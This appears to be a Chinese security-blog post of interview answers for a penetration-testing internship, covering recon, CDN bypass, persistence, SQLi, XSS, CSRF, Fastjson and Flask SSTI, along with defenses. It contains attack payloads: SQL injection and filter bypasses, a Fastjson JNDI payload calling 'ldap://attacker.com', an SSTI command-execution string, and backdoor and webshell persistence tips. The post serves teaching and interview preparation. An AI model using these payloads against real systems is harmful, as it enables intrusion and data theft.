?網絡安全領域各種資源,學習文檔,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各種好玩的項目及好用的工具,歡迎關注。
字某跳動-滲透測試實習生
滲透流程信息收集如何處理子域名爆破中的泛解析問題繞過CDN尋找真實IPPHPINFO頁面關注信息有沒有了解權限維持舉例一個漏洞詳細描述輸出到href的xss如何防御samesite防御CSRF的原理CSRF的防御json格式的CSRF如何防御瀏覽器解析順序和解碼順序過濾逗號的sql注入如何繞過過濾limit后的逗號如何繞過fastjson相關漏洞Python相關的漏洞回答(flask、SSTI原理)
1. 滲透流程
- 情報收集:
- 被動收集:Whois查詢、證書透明度日志(CT Logs)、GitHub代碼泄露。
- 主動探測:子域名爆破(使用Amass/Sublist3r)、端口掃描(Masscan/Nmap)。
- 漏洞分析:
- 自動化掃描:AWVS/Nessus檢測常見漏洞(SQLi/XSS)。
- 手動驗證:驗證誤報漏洞,如邏輯漏洞(越權/支付繞過)。
- 攻擊利用:
- 漏洞利用:通過Metasploit或定制化EXP攻擊目標(如ThinkPHP RCE)。
- 權限提升:利用內核漏洞(DirtyCow)或SUID提權(find / -perm -4000)。
- 權限維持:
- 植入WebShell:加密后門(如蟻劍AES加密Shell)。
- 系統后門:Windows注冊表后門、Linux cronjob定時任務。
- 橫向移動:
- 內網滲透:利用Responder抓取Net-NTLM哈希、Pass-The-Hash攻擊。
- 數據竊取:通過DNS隧道或HTTP隱蔽信道外傳數據。
2. 子域名爆破中的泛解析問題處理
泛解析問題:所有未注冊子域名解析到同一IP(如*.example.com → 1.1.1.1)。
解決方案:
- 響應指紋去重:
- 對比HTTP響應頭(Server/Cookie)和頁面哈希(如SimHash)。
- 使用工具(FFUF/GoBuster)的
-mc
參數過濾重復狀態碼。- 證書透明度日志:
- 通過crt.sh 查詢合法子域名證書記錄。
- 歷史DNS記錄:
- 使用SecurityTrails/ViewDNS查詢歷史A記錄。
- 字典智能生成:
- 基于目標業務關鍵詞生成子域(如dev/api/test)。
3. 繞過CDN尋找真實IP的六種方法
- DNS歷史記錄:通過DNSDB查詢目標域名歷史解析IP。
- 全球Ping測試:多地服務器(AWS EC2/DigitalOcean)執行
ping
或curl
。- SSL證書關聯:Censys搜索相同證書的IP(
parsed.names:example.com
)。- 敏感子域名:訪問
mail.example.com
或internal.example.com
可能直連真實IP。- 郵件服務器追蹤:注冊目標服務觸發郵件,解析郵件頭
Received
字段。- SSRF漏洞利用:通過目標服務器的SSRF漏洞獲取內網IP。
4. PHPINFO頁面關鍵信息審計
- 敏感配置項:
allow_url_fopen=On
:允許遠程文件包含(RFI)。disable_functions
:未禁用system
/shell_exec
等危險函數。- 環境變量泄露:
$_SERVER['DB_HOST']
、$_ENV['API_KEY']
。- 臨時文件路徑:
upload_tmp_dir
可能暴露可寫目錄路徑。- 擴展模塊風險:
- 啟用
imap
擴展可能導致CVE-2018-19518漏洞。
5. 權限維持技術詳解
- WebShell持久化:
- 隱藏文件名:
.config.php
+ 修改文件時間戳(touch -t)。- 系統級后門:
- Windows:注冊表鍵
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
添加啟動腳本。- Linux:
/etc/rc.local
添加反向Shell命令。- 內存駐留馬:
- Java內存馬:通過JSP注入Filter型內存Shell。
- PHP內存馬:利用
php-fpm
未授權訪問注入。
6. 漏洞示例:SQL注入(以MySQL為例)
漏洞原理:未過濾用戶輸入的
id
參數直接拼接SQL語句。
利用Payload:/product?id=1' UNION SELECT 1,@@version,3-- -
攻擊效果:泄露數據庫版本、用戶權限等敏感信息。
修復方案:
- 使用預編譯語句(PDO/MyBatis)。
- 輸入過濾:正則匹配
/[^0-9]/
限制為數字。
7. 輸出到href的XSS防御
漏洞示例:html
<a href="{{ user_input }}">Link</a> <!-- 用戶輸入為javascript:alert(1) -->
防御措施:
- 協議白名單:僅允許
http://
/https://
/mailto:
。- URL編碼:對
href
值進行HTML實體編碼(如&
→&
)。- CSP策略:設置
Content-Security-Policy: default-src 'self'
。- 框架安全:Vue/React自動轉義
href
中的動態內容。
8. SameSite防御CSRF原理
- SameSite=Strict:完全禁止跨站請求攜帶Cookie(如銀行轉賬)。
- SameSite=Lax:允許GET請求攜帶Cookie(適用于普通站點)。
- SameSite=None:必須與
Secure
屬性共用(僅限HTTPS)。
9. CSRF防御方案
- Token驗證:表單中嵌入隨機Token(如Django的
{% csrf_token %}
)。- 雙重Cookie:請求頭中攜帶Cookie哈希值(如
X-CSRF-Token: hash(cookie)
)。- Referer檢查:驗證請求來源域名是否在白名單內。
10. JSON格式CSRF防御
- Content-Type校驗:拒絕非
application/json
請求。- Token嵌入JSON:json
{ "data": "test", "csrf_token": "random_value" }
- 禁用CORS:設置
Access-Control-Allow-Origin
為特定域名。
11. 瀏覽器解析與解碼順序
- HTML解析優先:
- 解析標簽和實體(如
<
→<
)。- JavaScript執行:
- 處理Unicode轉義(如
\u003c
→<
)。- URL解碼:
- 轉換
%20
為空格。
示例:html<a href="javascript:alert(1%26%23x29;)"></a>
解碼順序:
%26
→&
→)
→)
→ 最終執行alert(1)
。
12. 過濾逗號的SQL注入繞過
場景:
SELECT 1,2,3
被攔截。
繞過方法:
- JOIN語法:sql
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
- LIMIT OFFSET:sql
UNION SELECT 1 FROM users LIMIT 1 OFFSET 1
13. 過濾LIMIT逗號的繞過
場景:
LIMIT 0,1
被攔截。
繞過方法:
- SQL Server語法:sql
SELECT TOP 1 * FROM users
- 變量賦值(MySQL):sql
SELECT * FROM users LIMIT 1 OFFSET 0
14. Fastjson漏洞解析
漏洞根源:反序列化時自動調用
getter/setter
方法(如CVE-2022-25845)。
利用條件:目標開啟autoType
功能。
Payload示例:json{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://attacker.com/exp" }
修復方案:升級到Fastjson 1.2.83+,關閉
autoType
。
15. Python漏洞:Flask SSTI
漏洞原理:未過濾用戶輸入直接渲染模板。
示例代碼:python@app.route('/hello/<name>') def hello(name): return render_template_string(f'Hello {name}!')
攻擊Payload:python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
防御措施:
- 使用安全模板引擎(Jinja2自動轉義)。
- 輸入過濾:禁止用戶輸入
{{}}
等特殊字符。